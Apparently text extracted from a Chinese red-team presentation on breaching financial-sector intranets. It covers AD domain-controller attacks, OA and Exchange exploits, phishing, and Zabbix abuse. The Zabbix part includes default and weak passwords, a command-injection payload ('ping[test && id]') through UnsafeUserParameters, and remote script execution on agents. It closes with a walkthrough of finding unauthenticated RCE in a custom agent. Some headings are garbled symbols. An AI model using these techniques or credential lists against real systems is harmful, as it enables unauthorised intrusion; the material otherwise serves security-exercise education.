业务相关:gitlab、wiki、jira、Jenkins • 集权管控:AD域控、VMware ESXi、VMware Vcenter • 传统攻击:弱口令、通用漏洞、0day漏洞 !"#$%&'( – )*+ 11 3. 攻击案例1 !"#$%&'( – )*+ 12 4. 攻击案例2 云桌面资源、用户认证等都是基于AD域,拿下域控等于控制所有办公电脑。 1. 常见手段攻击域控,zerologon、ms17010、弱口令等 2. 定位运维人员账号、云桌面 3. 控制权限并信息收集服务器资源表、密码本 4. 通过密码本或基于当前权限xshell软件保存密码直接登录测试环境 5. 控制集权管控类设备,如堡垒机、VCenter、ESXi !"#$%&'( – )*+ 13 5. 网络突破 1) 突破出网限制 1) 部分机器可直接出网 2) 部分机器配置IE代理可出网 2) 测试网突破生产网 1) 测试、生产区分不明确,区域之间可互相访问 2) 寻找高权限机器当跳板突破生产网 3) 利用VCenter的生产vSwitch(vlan)创建虚拟机,以此作为跳板攻击生产网 !"#$%&'( – %&)* 14 办公OA是近年攻防演练突破边界的重灾区,0day漏洞频出(泛微、致远、蓝凌、通达) 1. 0day漏洞、1day漏洞、nday漏洞撕口子 2. 密码收集、弱口令登入办公OA,收集各类文档 3. 收集员工通讯录(姓名、岗位、手机号、邮箱),再次定点钓鱼 !"#$%&'( – )*'( 15 1. 邮件钓鱼 1) 探测存活邮箱:互联网检索、SMTP协议爆破、coremail接口爆破 2) 邮件伪造 3) 安全网关绕过 2. 漏洞攻击 1) Exchange Server(CVE-2020-0688、proxylogon、proxyshell) 2) 亿邮RCE 3) Coremail RCE !"#$%& 16 在金融行业的大型生产内网环境中,必然会部署大规模性能监控、自动化运维、资产运营等系统, 但随着时间的推移,这些系统常年未经维护、存在诸多配置不当、历史漏洞,成为攻击者的重点 突破对象。 • 性能监控:Zabbix • 自动化运维:SaltStack、Ansible • 堡垒机:JumpServer、启明堡垒机、齐治堡垒机 !"#$%& ' ()**+, 17 Zabbix是一个支持实时监控数千台服务器、虚拟机和网络设备的企业级解决方案,客户覆盖许多 大型企业。 最为常见的Zabbix部署架构,Server与Agent同处于内网区域,Agent能够直接与Server通讯,不受 跨区域限制。 !"#$%& ' ()**+, 18 1. Agent入口分析 Linux进程名为zabbix_agentd,Windows进程名为zabbix_agentd.exe 查看配置文件: cat /etc/zabbix/zabbix_agentd.conf | grep -v '^#' | grep -v '^$' !"#$%& ' ()**+, 19 2. 分析配置文件 主要关注Zabbix服务端IP、不安全的配置选项。 • Server:Server或Proxy的IP、CIDR、域名 • EnableRemoteCommands:开启后可通过Server下发shell脚本在Agent上执行 • UnsafeUserParameters:自定义用户参数是否允许传参任意字符 • AllowRoot:开启后以root权限运行zabbix_agentd服务 • UserParameter:自定义用户参数 !"#$%& ' ()**+, 20 3. 不安全的配置案例 • EnableRemoteCommands 开启后可通过Server下发shell脚本在Agent上执行。 • UserParameter + UnsafeUserParameters 当UnsafeUserParameters参数配置不当时,组合UserParameter 自定义参数的传参命令拼接,可导致远程命令注入漏洞。 EnableRemoteCommands=1 UserParameter=ping[*],echo $1 UnsafeUserParameters=1 !"#$%& ' ()**+, 21 4. 攻击Zabbix Server • Web后台弱口令 管理员默认账号:Admin,密码:zabbix • MySQL弱口令 用户名zabbix,密码: 123456 zabbix zabbix123 zabbix1234 zabbix12345 zabbix123456 !"#$%& ' ()**+, 22 5. Zabbix Server权限后利用 Agent统一部署的情况下,存在不安全配置的Agent会遍布所有生产服务器。 1) 控制Zabbix Server权限 添加脚本,指定为zabbix服务器执行, 在仪表盘选择一台机器运行即可。 出网情况下可上linux远控,不推荐bash反弹 !"#$%& ' ()**+, 23 5. Zabbix Server权限后利用 2) 控制Zabbix Agent权限 - EnableRemoteCommands 添加脚本,指定为zabbix客户端执行,在“监测中 -> 最新数据”功能中根据过滤条件找到想要 执行脚本的主机并单击运行脚本。 !"#$%& ' ()**+, 24 5. Zabbix Server权限后利用 3) 控制Zabbix Agent权限 - UnsafeUserParameters 当UnsafeUserParameters参数配置不当时,组合UserParameter自定义参数的传参命令拼接,可 导致远程命令注入漏洞。 UserParameter=ping[*],echo $1 ping[test && id] echo test && id 配置项 发送Payload 命令注入 !"#$%& ' ()**+, 5. Zabbix Server权限后利用 3) 控制Zabbix Agent权限 - UnsafeUserParameters 当UnsafeUserParameters参数配置不当时,组合UserParameter自定义参数的传参命令拼接,可 导致远程命令注入漏洞。 UserParameter=ping[*],echo $1 UnsafeUserParameters=1 ping[test && id] echo test && id 配置项 发送Payload 命令注入 25 !"#$%& ' ()**+, 5. Zabbix Server权限后利用 3) 控制Zabbix Agent权限 - UnsafeUserParameters 指定主机添加监控项,“键值”中填入监控项命令,等待片刻就能在“最新数据”功能看到执行结果。 26 !"#$%& ' ()**+, 6. Zabbix定位靶标信息 信息收集 -> 整理 -> 转化,快速定位企业内网的核心系统。 1) 信息整理 主机名称、主机别名、IP地址、主机分组 2) 机器名规律分析 内部系统代号、区域(dmz、prod、uat、qz)、用途(web、db、redis) 27 !"#$%& – '()*+,- 1. 攻击手法 进程分析 -> 监听端口分析 -> 文件分析 -> 漏洞挖掘 28 ps aux netstat -ntlp 常见风险点 • deamon服务0.0.0.0监听端口 • 监听端口的服务未对请求进行鉴权 • 监听服务的指令模块存在远程命令执行漏洞 • 源码文件泄露敏感信息 !"#$%& – '()*+,- 2. 进程分析 分析当前运行进程,排除系统服务、常见应用服务等进程,结合进程名基本可以判断为Agent进程。 Linux、Windows环境通常会部署同一套Agent。 29 !"#$%& – '()*+,- 3. 监听端口分析 若服务端口监听在0.0.0.0,且服务存在漏洞的情况下,可通过Agent漏洞横向攻击内网其他机器。 可根据端口监听的进程PID找到对应运行进程。 30 !"#$%& – '()*+,- 4. 文件分析 结合进程信息、程序目录内的文件,可以判断该进程为Python编写。 31 !"#$%& – '()*+,- 5. 漏洞挖掘 9003端口对应脚本bin/updater/updater.py,监听9003接收socket原始连接。 32 !"#$%& – '()*+,- 5. 漏洞挖掘 监听端口接受连接请求并处理 消息。 33 !"#$%& – '()*+,- 5. 漏洞挖掘 JSON解析消息体,判断msgtype消息类型,并调用对应处理模块。 34 !"#$%& – '()*+,- 5. 漏洞挖掘 命令执行模块 35 !"#$%& – '()*+,- 6. 漏洞利用 Agent监听9003端口,且可以构造固定指令即可未授权远程执行系统命令。从而实现对内网其他服务器 进行攻击。 根据代码逻辑,构造命令执行的请求包,向其他机器发送请求即可获得服务器权限。 36 !"#$%&
pdf